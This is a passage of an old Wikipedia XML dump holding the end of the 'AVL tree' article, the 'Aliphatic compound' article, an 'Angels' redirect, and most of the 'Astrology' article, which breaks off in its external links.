Insertion into an AVL tree may be carried out by inserting the given value into the tree as if it were an unbalanced binary search tree, and then retracing one's steps toward the root, rotating about any nodes which have become unbalanced during the insertion (see ''[[tree rotation]]''). Since at most 1.5 times [[binary logarithm|lg&amp;nbsp;''n'']] nodes are retraced on the journey back to the root, and each AVL rotation takes constant time, the insertion process in total takes O(log&amp;nbsp;''n'')&amp;nbsp;time.

===Deletion===
Deletion from an AVL tree may be carried out by rotating the node to be deleted down into a leaf node, and then pruning off that leaf node directly. Since at most log&amp;nbsp;''n'' nodes are rotated during the rotation into the leaf, and each AVL rotation takes constant time, the deletion process in total takes O(log&amp;nbsp;''n'')&amp;nbsp;time...

===Lookup===
Lookup in an AVL tree is performed exactly as in an unbalanced binary search tree, and thus takes O(log ''n'') time, since an AVL tree is always kept balanced. No special provisions need to be taken, and the tree's structure is not modified by lookups. (This is in contrast to [[splay tree]] lookups, which do modify their tree's structure.)

==See also==
*[[Tree rotation]]
*[[Splay tree]]
*[[Red-black tree]]
*[[B-tree]]

==References==
*G. Adelson-Velskii and E.M. Landis, &quot;An algorithm for the organization of information.&quot; ''Doklady Akademii Nauk SSSR'', 146:263&amp;ndash;266, 1962 ([[Russian language|Russian]]). [[English language|English]] translation by Myron J. Ricci in ''Soviet Math. Doklady'', 3:1259&amp;ndash;1263, 1962.
* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 3: ''Sorting and Searching'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89685-0. Pages 458&amp;ndash;475 of section 6.2.3: Balanced Trees. Note that Knuth calls AVL trees simply &quot;balanced trees&quot;.

==External links==
*[http://www.nist.gov/dads/HTML/avltree.html Description from the Dictionary of Algorithms and Data Structures]
*[http://www.goletas.com/solutions/collections/ Iterative Implementation of AVL Trees in C#]
*[http://www.auto.tuwien.ac.at/~blieb/woop/avl.html AVL Tree Traversal]
*[http://www.elude.ca/aapl/doc/classAvliTree.html Linked AVL tree]
*[http://geocities.com/wkaras/gen_cpp/avl_tree.html C++ AVL Tree Template] and [http://geocities.com/wkaras/gen_c/cavl_tree.html C AVL TREE &quot;Generic Package&quot;] by [[Walt Karas]]
*[http://vbwm.com/art_2001/avltree08/ A Visual Basic AVL Tree Container Class] by [[Jim Harris]]
*[http://cmcrossroads.com/bradapp/ftp/src/libs/C++/AvlTrees.html AVL Trees: Tutorial and C++ Implementation] by [[Brad Appleton]]
*[http://www.mathematik.uni-ulm.de/oberon/0.5/lib/man/AVLTrees.html Ulm's Oberon Library: AVLTrees]
*[http://www-old.physik.fu-berlin.de/edv_docu/documentation/xemacs-21.1.4/elib_toc.html#SEC21 The AVL TREE Data Type]
*[http://www.comnets.rwth-aachen.de/doc/cncl/classCNAVLTree.html CNAVLTree Class Reference]
*[http://www.stanford.edu/~blp/avl/ GNU libavl]
*[http://home.earthlink.net/~akonshin/delphi_components.htm AVL-trees - balanced binary trees] by [[Alex Konshin]]
*[http://www.informatik.uni-mannheim.de/~cjk/publications/ed-media98/node11.html Simulation of AVL Trees]
*[http://www.csi.uottawa.ca/~stan/csi2514/applets/avl/BT.html AVL tree applet]
*[http://webpages.ull.es/users/jriera/Docencia/AVL/AVL%20tree%20applet.htm Simulation of AVL Trees (DYNAMIC)]
*[http://webpages.ull.es/users/jriera/Docencia/AVL/AVL%20tree%20applet.htm AVL, Splay and Red/Black Applet]
*[http://www.eli.sdsu.edu/courses/fall96/cs660/notes/avl/avl.html Visual Tutorial of AVL Tree operations]

[[Category:Trees (structure)]]

[[da:AVL-træ]]
[[de:AVL-Baum]]
[[es:Árbol AVL]]
[[fr:Arbre AVL]]
[[he:עץ AVL]]
[[lt:AVL medis]]
[[ja:AVL木]]
[[pl:Drzewo AVL]]
[[pt:Árvore AVL]]
[[sk:AVL strom]]
[[sl:AVL drevo]]
[[fi:AVL-puu]]
[[zh:AVL树]]</text>
    </revision>
  </page>
  <page>
    <title>Aliphatic compound</title>
    <id>2120</id>
    <revision>
      <id>41622368</id>
      <timestamp>2006-02-28T16:12:12Z</timestamp>
      <contributor>
        <ip>206.191.43.2</ip>
      </contributor>
      <comment>correction: aliphatic compounds can be cyclic, just not aromatic</comment>
      <text xml:space="preserve">In [[chemistry]], '''aliphatic compounds''' are non-[[aromatic]] [[organic compound]]s.  They include not only the [[fatty acid]]s and other derivatives of the [[paraffin]] [[hydrocarbon]]s ([[alkane]]), but also unsaturated compounds, such as the [[ethylene]] ([[alkene]]) and [[acetylene]] ([[alkyne]]) series.  Aliphatic [[molecule]]s consist, in general, of a backbone of [[carbon]] [[atom]]s and other atoms bound to this carbon chain &amp;mdash; most frequently [[hydrogen]], [[oxygen]], [[nitrogen]], [[sulfur]], and various [[halide]]s.  The simplest aliphatic compound is [[methane]] ([[Carbon|C]][[Hydrogen|H]]&lt;sub&gt;4&lt;/sub&gt;).

== See also ==

* [[Carbon-carbon bond]]

{{organic-compound-stub}}

[[Category:Organic compounds]]

[[ar:أليفاتي]]
[[ca:Hidrocarbur alifàtic]]
[[de:Aliphat]]
[[es:Hidrocarburo alifático]]
[[fr:Aliphatique]]
[[fi:Alifaattinen yhdiste]]</text>
    </revision>
  </page>
  <page>
    <title>Angels</title>
    <id>2121</id>
    <revision>
      <id>22304753</id>
      <timestamp>2005-09-01T04:48:11Z</timestamp>
      <contributor>
        <username>Everyking</username>
        <id>44020</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/222.124.7.106|222.124.7.106]] to last version by Rdsmith4</comment>
      <text xml:space="preserve">#REDIRECT [[Angel]]</text>
    </revision>
  </page>
  <page>
    <title>Astrology</title>
    <id>2122</id>
    <revision>
      <id>42123747</id>
      <timestamp>2006-03-03T23:52:16Z</timestamp>
      <contributor>
        <username>Chris Brennan</username>
        <id>381788</id>
      </contributor>
      <comment>/* History of astrology */  typo</comment>
      <text xml:space="preserve">'''Astrology''' refers to any of several systems, [[tradition]]s or [[belief]]s in which knowledge of the apparent positions of [[celestial bodies]] is held to be useful in understanding, interpreting, and organizing knowledge about human affairs and events on earth. A practitioner of astrology is called an '''astrologer''' or, less often, an '''astrologist'''.

The word is derived from the [[Greek language|Greek]] αστρολογία = άστρον, ''astron'', &quot;star&quot; and the [[English language|English]] [[suffix]], ''[[-ology]]'', &quot;study or discipline&quot;.  -ology is in turn derived from the Greek λόγος, ''[[logos]]'', which has a variety of meanings in English but generally related to &quot;[[system]]atic thought or speech&quot;.

Although the two fields share a common origin, modern [[astronomy]] as practiced is not to be confused with astrology. While astronomy is the study and observation of celestial objects and their movements through space, astrology is the study of the supposed correlation of those objects with earthly affairs. There is as yet no accepted evidence that astrology has a [[Falsifiability|falsifiable]], scientific basis.
[[Image:Flammarion.jpg|thumb|right|375px|The [[Flammarion Woodcut]], an enigmatic [[woodcut]] by an unknown artist.]]
==Description==
[[Image:Astrological Glyphs.jpg|thumb|right|250px|Astrological [[glyph]]s representing the planets.]]
The core principles of astrology reflect a general principle, which was accepted throughout most of the ancient world, that events in the heavens should have analogies on Earth.  Such ancient beliefs are epitomized in the [[Hermeticism|Hermetic]] [[proverb|maxim]]: ''As Above, So Below''. The famous [[astronomer]]/[[astrologer]] [[Tycho Brahe]] also used a similar phrase to justify his studies in astrology: ''Suspiciendo despicio'' &amp;mdash; &quot;By looking up I see downward.&quot;  Although the principle that events in the heavens are mirrored by those on Earth was one generally held in most traditions of astrology across the world, historically in the West there has been a debate over the nature of the mechanism behind astrology and whether or not celestial bodies are only signs or [[portent]]s of events, or if they are actual causes of events through some sort of force or mechanism.  

Many of those who practice astrology believe the positions of certain celestial bodies either influences or correlates with people's [[personality]] traits, important events in their lives, physical characteristics, and to some extent their [[destiny]]. 

All astrological traditions are based on the relative positions and movements of various real and construed [[celestial body|celestial bodies]] as seen at the time and place of the event being studied.  These are chiefly the [[Sun]], [[Moon]], [[planet]]s, and the [[lunar node]]s.  The calculations performed in astrology involve arithmetic and simple geometry and serve to locate the apparent position of heavenly bodies on desired dates and times based on astronomical tables.

In past centuries astrology often relied on close observation of celestial objects, and the charting of their movements, and might be considered a [[protoscience]] in this regard. In modern times astrologers have tended to rely on data drawn up by [[astronomers]] and set out in a set of tables called an [[ephemeris]], which shows the changing positions of the heavenly bodies through time. It is the interpretation of these science-based tables that makes astrology a target for the label [[pseudoscience]].

== Traditions ==
There are many different traditions of astrology, some of which share similar features due to the transmission of astrological doctrines from one culture to another.  Other traditions developed in isolation and hold completely different doctrines, although they too share some similar features due to the fact that they are drawing on similar astronomical sources, i.e. planets, stars, etc.  

[[Image:zodiac_woodcut.png|thumb|right|360px|[[Zodiac]] signs, [[16th century]] [[European]] woodcut]]

Significant traditions of astrology include but are not limited to:
:*[[Babylonian astrology]]
:*[[Horoscopic astrology]] and its specific subsets
::*[[Hellenistic astrology]]
::*[[Jyotish]]/[[Vedic civilization|Vedic]] astrology
::*Medieval &amp; Renaissance horoscopic astrology
::*Modern [[Western astrology]] with its specific subsets
:::*Modern [[Tropical zodiac|tropical]] and [[sidereal astrology|sidereal]] horoscopic astrology
:::*[[Hamburg School of Astrology]]
::::*[[Uranian astrology]] - subset of the Hamburg School
:::*[[Cosmobiology]]
:::*[[Psychological astrology]]
:*[[Chinese astrology]]
:*[[Mesoamerican astrology]]
:*[[Tibetan astrology]]
:*[[Kabbalistic astrology]].

== Horoscopic astrology ==
Horoscopic astrology is a very specific and complex system of astrology that was developed in the [[Mediterranean]] region and specifically [[Hellenistic]] [[Egypt]] sometime around the late 2nd or early 1st century BCE{{ref|Pingree}} that deals largely with astrological charts cast for specific moments in time in order to interpret the inherent meaning underlying the alignment of the planets at that moment based on specific sets of rules and guidelines. One of the defining characteristics of this form of astrology that makes it distinct from other traditions is the computation of the degree of the Eastern horizon rising against the backdrop of the [[ecliptic]] at the specific moment under examination, otherwise known as the [[ascendant]].  This has been the most influential and widespread form of astrology accross the world, especially in [[India]], [[Europe]] and the [[Middle East]], and there are several major traditions of horoscopic astrology including [[Jyotish|Indian]], Hellenistic, Medieval, and most other modern western traditions of astrology.  

=== The Horoscope ===
[[Image:Natal Chart -- Adam.jpg|thumb|right|225px|A Western [[natal chart]].]]
Central to horoscopic astrology is the calculation of a [[horoscope]], or astrological chart. This is a diagrammatic representation in two dimensions of the celestial bodies' apparent positions in the heavens from the vantage of a location on [[Earth]] at a given time and place. The horoscope of an individual's birth is called a [[natal chart]]. In ancient Hellenistic astrology the rising sign or [[Ascendant]] demarcated the first celestial house of a chart, and the word for the ascendant in Greek was ''horoskopos''. This is the word that the term &quot;horoscope&quot; derives from and in modern times it has come to be used as a general term for an astrological chart, or to denote the birth chart of an individual as a whole. Other commonly used names for the horoscope/natal chart in English include natus, birth-chart, astrological chart, astro-chart, celestial map, sky-map, star-chart, nativity, cosmogram, vitasphere, soulprint, radical chart, radix, or simply ''chart'', among others.

=== Zodiac ===
The path of the sun across the heavens as seen from Earth during a full year is called the [[ecliptic]] by astronomers. This, and the nearby band of sky followed by the visible planets is called the [[zodiac]] by astrologers. A few Western and all [[Jyotish]] ([[Hindu]]) astrologers use the [[sidereal zodiac]], which uses the true astronomical positions of the stars and constellations which lie on the ecliptic. The majority of Western astrologers base their work on the [[tropical zodiac]], which aligns with the seasons in the Northern hemisphere but not with the actual positions of the sidereal zodiac.

[[Image:Birth_Chart_(northern_format).png|thumb|right|225px|An [[India|Indian]] ([[Jyotish]]) astrology chart.]]
[[Image:12_houses_of_heaven.jpg|right|thumb|225px|[[18th century]] [[Iceland]]ic manuscript showing [[astrological house]]s and planetary glyphs.]]

=== Branches of Horoscopic Astrology ===
Every tradition of horoscopic astrology can be divided up into four specific branches which are directed towards specific subjects or used for specific purposes.  Often this involves using a unique set of techniques or a different application of the core principles of the system to a different area.  

The branches of horoscopic astrology are:
:*[[natal astrology|Genethliacal astrology/natal astrology/Jataka]] (the study of a person's [[natal chart]]) 
:*[[electional astrology|Katarchic Astrology/electional astrology/Muhurta]] (the act of chosing a chart ahead of time to determine the most auspicious moment to begin an enterprise or undertaking)
:*[[horary astrology|Interrogational astrology/horary astrology/Prasna]] (a chart drawn up in order to answer a specific question which is posed to the astrologer)
:*[[Mundane astrology]] (the study of large groups of people such as cities and nations, as well events both natural and man made)

==History of astrology==
{{main|History of astrology}}
The origins much of the astrology that would later develop in [[Asia]], [[Europe]] and the [[Middle East]] are found among the ancient [[Babylonians]] and their system of celestial omens that began to be compiled around the middle of the 2nd millennium BCE. This system of celestial omens later spread either directly or indirectly through the Babylonians to other areas such as [[India]], [[China]] and [[Greece]] where it merged with preexisting indigenous forms of astrology. This Babylonian astrology came to Greece initially as early as the middle of the [[4th century BCE]], and then around the late 2nd or early 1st century BCE after the [[Alexander the Great#Period of conquests|Alexandrian conquests]], this Babylonian astrology was mixed with the Egyptian tradition of Decanic astrology to create [[Horoscopic astrology]]. This new form of astrology, which appears to have originated in [[Alexandria|Alexandrian Egypt]], quickly spread across the ancient world into Europe, the Middle East and India.  For a detailed description, including astrology in other cultures, see the [[History of astrology|main article]].

==The validity of astrology==
[[Image:Cellarius ptolemaic system.jpg|thumb|250px|left|The [[Ptolemaic system]] depicted by [[Andreas Cellarius]], 1660/61 ]]
{{main|Validity of astrology}}
Astrology is a very [[controversy|controversial]] subject. The case ''for'' and the case ''against'' astrology's [[objectivity (philosophy)|objective]] validity are discussed in more detail in the main article. 

Few astrologers today believe that a causal relationship exists between heavenly bodies and earthly events, but there are a number who have called for better statistical studies (for example, Mark McDonough, the President of Astrodatabank [http://www.astrodatabank.com]) and several individuals (most notably [[Michel Gauquelin]]) who have found correlations between some planetary positions and certain vocations.  Many astrologers have posited [[acausal]] relationships between astrological observations and events, such as the theory of [[synchronicity]] {{ref|Maggie}} proposed by [[Jung]].  Many others have assumed there was a  [[religious]] mechanism in operation, from the original Mediterranean astrologers through [[Guido Bonatti]] from [[Forlì]] ([[Italy]]), [[William Lilly]], and to some extent, [[Geoffrey Cornelius]].{{ref|TMoA_op}} 

[[Skepticism|Skeptic]]s see astrology as repeatedly failing to demonstrate its effectiveness in [[Empiricism|controlled studies]], one prominent group saying those who &quot;continue to have faith in astrology do so in spite of the fact that there is no verified scientific basis for their beliefs, and indeed that there is strong evidence to the contrary.&quot; and have gone so far as to call astrology &quot;the pretentious claims of astrological charlatans.&quot;  {{ref|Bok_op}}

==Effects on world culture==
[[Image:Beit Alpha.jpg|300px|thumb|right|[[Zodiac]] in a [[6th century]] [[synagogue]] at Beit Alpha, [[Israel]].]]
Astrology has had a profound influence over the past few thousand years on Western and Eastern cultures, along with the [[English language]]. [[Influenza]] was so named because [[physician|doctors]] once believed it to be caused by unfavorable planetary and stellar influences. The word &quot;''disaster''&quot; comes from the Latin &quot;''dis-aster''&quot; meaning &quot;''bad star''&quot;. Also, the adjectives &quot;lunatic&quot; (Moon), &quot;mercurial&quot; (Mercury), &quot;martial&quot; (Mars), &quot;jovial&quot; (Jupiter/Jove), and &quot;saturnine&quot; (Saturn) are all old words used to describe personal qualities said to resemble or be highly influenced by the astrological characteristics of the planet, some of which are derived from the attributes of the ancient Roman gods they are named after.

There are many Astrological references in the Old and New Testament.

===Astrology as a descriptive language for the mind===
Many writers, notably [[William Shakespeare]] [http://www.chartplanet.com/html/shakespeare.html], used astrological symbolism to add subtlety and nuance to the description of his characters' motivation(s). An understanding of astrological principles is needed to fully appreciate such literature, along with the work of many other writers and poets of this and many other eras. Some modern thinkers, notably [[Carl Jung]], have acknowledged its descriptive powers of the mind without necessarily subscribing to its predictive claims.

Astrological interpretation is dependent on the particular culture's prevailing mythology.  Most classicists think that Western astrology is dependent on Greek mythology.  But the Greeks never claimed to have their own mythology.  The Greeks claimed that half of their mythology was borrowed from the Egyptians and the other half borrowed from the Hebrew.  But where did the myths of the Egyptians and Hebrew come from?  The upper Nile River - Ethiopia. (See &quot;Black Athena&quot;, Rutgers University Press)  The research of the Gauquelin's, which resulted into Neo-Astrology, has modified, updated, but mainly reinforced the Ethiopian/Greek/Roman word association of behavioral characteristics with the particular planets.

==Western Astrology and the classical elements==
{{main|Astrology and the classical elements}}
Astrology has used the concept of classical elements from antiquity up until the present. Most modern [[astrologers]] use the four classical elements extensively, and indeed it is still viewed as a critical part of interpreting the [[natal chart|astrological chart]].

==Western Astrology and alchemy==
[[Image:Alchemy-Digby-RareSecrets.png|thumb|right|300px|Extract and symbol key from 17th century [[alchemy]] text.]]
{{main|Astrology and alchemy}}
[[Alchemy]] in the [[Western World]] and other locations where it was widely practiced was (and in many cases still is) closely allied and intertwined with traditional [[Babylon]]ian-Greek style astrology; in numerous ways they were built to complement each other in the search for [[occult|hidden knowledge]]. Traditionally, each of the seven [[planet]]s in the [[solar system]] as known to the ancients was associated with, held dominion over, and ''[[astrological sign|ruled]]'' a certain [[metal]].

A separate article also exists on [[astrology and numerology]].

==The seven liberal arts and Western astrology==
[[Image:Anatomical Man.jpg|thumb|350px|right|The anatomical-astrological human in [[medical astrology]].]]
[[Image:Astrological_remedies.jpg|thumb|220px|left|Table from [[18th century]] [[Iceland]]ic manuscript linking astrological dates with preparation of medicine.]]
In [[medieval Europe]], a [[university education]] was divided into seven distinct areas, each represented by a particular [[planet]] and known as the Seven [[Liberal Arts]]. 

They were seen as operating in ascending order, beginning with [[Grammar]] which was assigned to the quickest moving [[celestial body]] (the [[Moon]]) and culminating in [[Astrology and astronomy|Astronomia]] which was thought to be [[Astrological sign|astrologically ruled]] by [[Saturn (planet)|Saturn]], the slowest moving and furthest out planet known at the time. After this sequence [[wisdom]] was supposed to have been achieved by the [[medieval]] [[College student|university student]].

[[Dante|Dante Alighieri]] used the following associations of the seven [[liberal arts]] to the seven traditional astrological planets in the ''[[Divine Comedy]]'' and ''[[Convivio]]''.

*[[Astrology and astronomy|Astronomia]] — [[Saturn (astrology)|Saturn]]
*[[Geometry]] — [[Jupiter (astrology)|Jupiter ]]
*[[Arithmetic]] — [[Mars (astrology)|Mars]]
*[[Music]] — [[Sun (astrology)|Sun]]
*[[Rhetoric]] — [[Venus (astrology)|Venus]]
*[[Dialectic]] — [[Mercury (astrology)|Mercury]]
*[[Grammar]] — [[Moon (astrology)|Moon]]

== Astrology and the days of the week ==

Seven days of the week are created on the basis of 24 (''Hora'') divisions of the day and heliocentric order of the planets. In Hindu system of astrology, a weekday starts from local Sunrise &amp; ends at the following Sunrise, which is distinct from the Georgian calendar in which a weekday along with date starts at expiry of 1200 a.m. of the Zonal Standard Time. Julian day begins at noon, whereas the Julian calendar begins at preceding midnight. Georgian calendar is worldwide used for civil purpose. 

A day is divided in 24 divisions called “''Hora''” in Hindu system. The order of Hora is based on heliocentric order of the planets which is; Saturn, Jupiter, Mars, Sun, (Earth), Venus, Mercury, &amp; Moon. It is said that the world started on Sunday. And the first Hora of the Sunday is ruled by the Sun. Second Hora of Sunday is ruled by Venus, followed by Mercury, Moon, Saturn, Jupiter &amp; Mars. Thus Sunday has three cycles of the above Horas &amp; its 25th Hora is of Moon. Thus at the next Sunrise time Hora of Moon shall prevail. Therefore, the following day is ruled by the Moon. Similarly 25th Hora of Monday shall be of Mars,  &amp; the day shall be ruled by Mars. In the same way following days shall be ruled by Mercury, Jupiter, Venus &amp; Saturn. Thus order of the weekdays are ruled by Sun, Moon, Mars, Mercury, Jupiter, Venus &amp; Saturn. This logic has already been mentioned in Hindu astrology treatises. 

In Hindu system the Sun is called ''Ravi''; The Moon – ''Soma''; Mars – ''Mangal''; Mercury- ''Budh''; Jupiter – ''Brishapati''; Venus – ''Shukar''; &amp; Saturn –'' Shani''. The day is called “Vaar”. Thus weekdays in order have been named as ''Ravi Vaar, Soma Vaar, Mangal Vaar, Budh Vaar, Brihaspati Vaar, Shukar Vaar, and Shani Vaar.''

In Latin the Sun is called Solis; &amp; the Moon – Lunae; Mars- Martis; Mercury – Mercurri; Jupiter – Jovis; Venus- Veneris; Saturn – Saturni. Thus names of the weekday are derived from the planetary names. 

In electional astrology, weekday &amp; Hora of the specific planet has special significance. Hora is also used in calculation of planetary strength in a nativity. In general, a work which fructifies in a particular weekday, also can be performed during Hora of the weekday lord falling in another weekday. For example, it is recommended to solemnize marriage on Thursday, also can be done during Hora of Jupiter falling in Friday (a weekday ruled by a benefic planet). This usage of Hora in electional astrology is also applied by western astrologers.
 
More information about planetary [[linguistics]] can be found on [http://www.nineplanets.org/days.html this site].

==See also==
{{col-begin}}
{{col-2}}
*'''[[List of astrologers]]'''
*[[Accidental dignity]]
*[[Age of Aquarius]]
*[[Ascendant]] (AC, ASC)
*[[Ascending planet]]
*[[Astrolabe]]
*[[Astrological age]]
*[[Astrological symbol]]
*[[Astrology and astronomy]]
*[[Astrology and computers]]
*[[Birthday]]
*[[Celestial mechanics]]
*[[Cosmobiology]]
*[[Cycle studies]]
*[[Descendant]] (DC)
*[[Forer effect]]
*[[Gnostic circle]]
*[[Hamburg School of Astrology]]
*[[Harmonic Charts]]
*[[House (astrology)]]
*[[Imum Coeli]] (IC)
*[[Jewish views of astrology]]&amp;nbsp;&amp;nbsp;&amp;nbsp;
*[[Katarche]]
*[[List of cycles]]
*[[Lunation]]
*[[Lunar node]]
*[[Lunar phase]]
*The [[Mars effect]]
*[[Medical astrology]]
{{col-2}}
*[[Medium Coeli]]/[[Midheaven]] (MC)
*[[Monen]]
*[[Music of the spheres]]
*[[New age]]
*[[Nadi astrology]]
*[[Occult]]
*[[Orbital period]]
*[[Planets in astrology]]
*[[Predictions for the forthcoming year]]
*[[Ptolemy]]
*[[Ray of Creation]]
*[[Rosicrucian#Rose_Cross:_Alchemy_and_Divine_Sciences_of_Healing_.26_of_the_Stars|Rose Cross and Astrology]]
*[[Ruling planet]]
*[[Saturn return|Saturn Return]]
*[[Sidereal astrology]]
*[[Skepticism]]
*[[Solar deity]]
*[[Solar symbol]]
*[[Solar system]]
*[[Synchronicity]]
*[[Syncretism]]
*[[The Combination of Stellar Influences]]
*[[Three Wise Men]]
*[[Tropical year]]
*[[Twelve Holy Days]]
*[[Uranian astrology]]
*[[Vertex]]
*[[Western mystery tradition]]
{{col-end}}

==Notes and references==
# {{note|Pingree}}See David Pingree - ''From Astral Omens to Astrology from Babylon to Bikaner'', Roma: Istituto Italiano per L'Africa e L'Oriente, 1997. Pg. 26.
# http://www.astrodatabank.com
# {{note|Maggie}}Maggie Hyde, Jung and Astrology.  The Aquarian Press (London, 1992) p. 24-26.
# {{note|TMoA_op}}Geoffrey Cornelius, The Moment of Astrology.  The Wessex Astrologer (Bournemouth, 2003.)
# {{note|Bok_op}}Bart Bok, Paul Kurtz and Lawrence Jerome, &quot;Objections to Astrology:  A Statement by 186 Leading Scientists&quot; in ''The Humanist,&quot; September/October, 1975.  http://psychicinvestigator.com/demo/AstroSkc2.htm
# http://www.chartplanet.com/html/shakespeare.html

==Further reading==
* Robert Hand, ''Horoscope Symbols''. Schiffer Publications (Altgen, PA; March 1987)  ISBN 0914918168. One of the most thoughtful and authoritative books on astrological technique.

* Garry Phillipson, ''Astrology in the Year Zero''. Flare Publications (London, 2000)  ISBN 0953026191. A balanced overview of thirty opinions on the validity of astrology, including skeptics.

==External links==
&lt;div style=&quot;font-size: 85%&quot;&gt;
;General
*[http://search.dmoz.org/cgi-bin/search?search=astrology Over a thousand astrology sites listed at the Open Directory project]
;History
*[http://www.skyscript.co.uk/  Skyscript &amp;mdash; Classical Astrology] - A modern yet faithful look at Classical astrology.
*[http://www.esoteric.msu.edu/VolumeIV/astrology.htm  Astrology: Between Religion and the Empirical] - A serious academic treatise on astrology by Dr. Gustav-Adolf Schoener and translated by Shane Denson. 
*[http://www.iep.utm.edu/a/astr-hel.htm Hellenistic Astrology] - An Internet Encyclopedia of Philosophy entry outlining the development of Hellenistic astrology and its interaction with philosophical schools. 
*[http://www.world-of-dawkins.com/Dawkins/Work/Articles/1995-12romance_in_stars.htm  The real romance in the stars] - A critical view of astrology by [[Richard Dawkins]].
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/secondary/SMIGRA*/Astrologia.html Astrologia] - Article in Smith's Dictionary of Greek and Roman Antiquities
*[http://www.mountainman.com.au/astrology_01.htm The Scientific Basis of Astrology, Dr Percy Seymour] - Book Review.
*[http://www.templeofsolomon.org/pageone.htg/pageone.htm The Astrological Star Of Bethlehem] - How the Magi (astrologers) knew of the birth of Christ
*[http://the_mystic_light.tripod.com/mph_astrology.htm The Devolution and Evolution of Astrology] - Article by American mystic [[Manly Palmer Hall]]

;Schools
*[http://www.kepler.edu  Kepler College of Astrological Arts and Sciences] - Based in Seattle, USA, Kepler College is the only college in the western hemisphere authorized to issue A.A., B.A., and M.A degrees in Astrological Studies.
*[http://www.bathspa.ac.uk/sophia/ The Sophia Centre]  Based near Bath, England, the Centre is a department of School of Historical and Cultural Studies at Bath Spa University College. Funded by the Sophia Trust, the Centre teaches an innovative MA in Cultural Astronomy and Astrology and supervises postgraduate research. 
*[http://www.astrology.org.uk/ Faculty of Astrological Studies] - Founded on 7th June 1948 in London, England at 19.50 BST; its Diploma, the D.F.Astrol.S., is among the most highly valued and recognised international qualifications.

;Validity
*[http://www.astrofaces.com Astrofaces Research Project] The Astrofaces project seeks to verify astrology with photographs grouped by the sun, moon and ascendant signs. Do people who share the three most prominent factors in the chart resemble each other?
*[http://www.astrology-and-science.com/ Astrology and Science] - A series of articles in which believers and skeptics debate the merits of astrology. 
*[http://www.skepsis.nl/astrot.html  The Astrotest] - An account of a test of the [[predictive power]] of astrology, with references to some other experiments.
*[http://www.discord.org/~lippard/kammann.html The True Disbelievers] by Richard Kamann and Marcello Truzzi is a report of alleged internal events at CSICOP regarding their own claimed confirmation of M. Gauquelin's 'Mars Effect'
*[http://skepdic.com/astrolgy.html The ''Skeptic's Dictionary'' on astrology] and [http://skepdic.com/mars.html the Mars effect]
*[http://www.lightlink.com/vic/astrol.html An Astrophysicist's Sympathetic and Critical View of Astrology] - by Victor Mansfield.
*[http://www.butterfliesandwheels.com/articleprint.php?num=59 Proof of Astrology?]  - A critical look at Percy Seymour's books.
*[http://cura.free.fr/decem/09seym.html The Magus of Magnetism: How Planetary Motion Orchestrates Solar Activity and Geomagnetism]  - An interview with Percy Seymour by Bronwyn Elko.
*[http://www.americanhumanist.org/about/astrology.html The Humanist] - 1975 astrology article.

;Comparision with other thought systems
*[http://www.spirithome.com/parastro.html Astrology, the Zodiac, Horoscopes and Planetary Alignment].
*[http://atheism.about.com/library/FAQs/skepticism/blfaq_astro_sci_pseudo.htm Is Astrology A Pseudoscience?]
*[http://www.imprint.co.uk/pdf/Dean.pdf Academic Journal of Consciousness Studies: ''Is Astrology Relevant to Consciousness and Psi?'']
*[http://www.astro.utoronto.ca/~bclarke/AST199M/Astrology.htm  The Historical Foundations of Astrology]
*[http://www.khaldea.com/rudhyar/index.shtml Dane Rudhyar Archival Project -- Wholeness, Music, Astrology, Theosophy, Art, etc.]
*[http://www.robertezoller.com/ Robert Zoller -- Medieval Astrology]
*[http://www.noeltyl.com/menu.shtml Noel Tyl -- Contemporary Astrology]
*[http://www2.bitstream.net/~bunlion/bpi/AstrRoot.html Current Trends in Astrology]
*[http://finblake.home.mindspring.com/UranBeacon.htm A Comprehensive Uranian Astrology Website]
* [http://www.sabian.org/ssorigin.htm Sabian Symbols (originated by Marc Edmund Jones and Elsie Wheeler)]
*[http://www.isidore-of-seville.com/astdiv/2.html Astrology in Ancient History]

;Tools
*[http://alabe.com/freechart/ Astrolabe Software] - Calculate your personal natal chart or ''any'' astrological chart for free using this simple online calculation form.
* [http://www.astrologyweekly.com/dictionary/  A Comprehensive Astrological Dictionary] -- Use this to look up many common astrological terms, both in ancient and modern astrology. 
*[http://www.astrolog.org/astrolog.htm Astrolog 5.40] - Home of the freeware astrology program Astrolog 5.40.
*[http://uk.geocities.com/astrolog32/ Astrolog32] - Home of the freeware astrology program Astrolog32.
*[http://www.halloran.com/astwin23.htm Astrology for Windows Public domain astrology software].
* [http://www.khaldea.com/ephemcenter.shtml  The Original 3,000 Year High-Precision Daily Astrological Online Ephemeris from Khaldea.com] -- 600BC to 2400AD -- Calculated for [[Midnight]] [[GMT]]; also with an [[Astrological aspect|Aspectarian]] included for years [[1900]] to [[2005]]
* [http://skyscript.co.uk/aspects.html Classical Use of the Astrological Aspects] - Learn all about the astrological aspects at this site.
*[http://www.astrowin.org/ Astrowin - Free Astrology Calculation Programs] - Astro123, AstroWin, MatchMkr, and more.  
*[http://chronosxp.sourceforge.net ChronosXP] - Free [[Planetary Hours]] software for [[Microsoft Windows|Windows]]
*[http://www.robhand.com/ Classical Astrology Archives]
*[http://free-horoscopes.typepad.com Astrology software] - Programs for making [http://free-horoscopes.typepad.com horoscopes].  
* [http://ephemeral.info/too/ ephemeral.info Tools] - Many free web-based tools for looking up information about various celestial objects.
*[http://www.rosicrucianfellowship.org/software.htm RFIntrep, RFAstro, RF ACSS &amp; RF PHour] - Free software &amp; online free [http://www.rosicrucian.com/asthtme1.htm Rosicrucian Astrology book library]
*[http://www.bodysoulspiritexpo.com/enewsplus/enewsarc.php3?action=category&amp;id=4 Astrological Articles Open Postings] - Open Community Knowledge Base for astrologers to submit articles on astrological related subjects.
*[http://www.astrologyweekly.com/dictionary/ Astrological Dictionary &amp; Glossary] - Hundreds of specialized astrological terms are accurately explicated here.
*[http://www.topsynergy.com/ Relationships Analyst]
*[http://www.aeongroup.com/gc.htm Astrology &amp; Enneagram]

;Western astrology natal reports
*[http://www.astro.com/ http://www.astro.com/] -- Astrodienst (available in 8 languages)
*[http://www.stariq.com/ http://www.stariq.com/] -- StarIQ.com, Modern Astrology
*[http://www.widgetsworld.co.uk/ http://www.widgetsworld.co.uk/]
*[http://www.astrologie-info.com/indexe.cgi http://www.astrologie-info.com/] -- Astrology Info: Natal chart in graphic/text mode and Interactive Moon calendar

;Natal reports for other systems
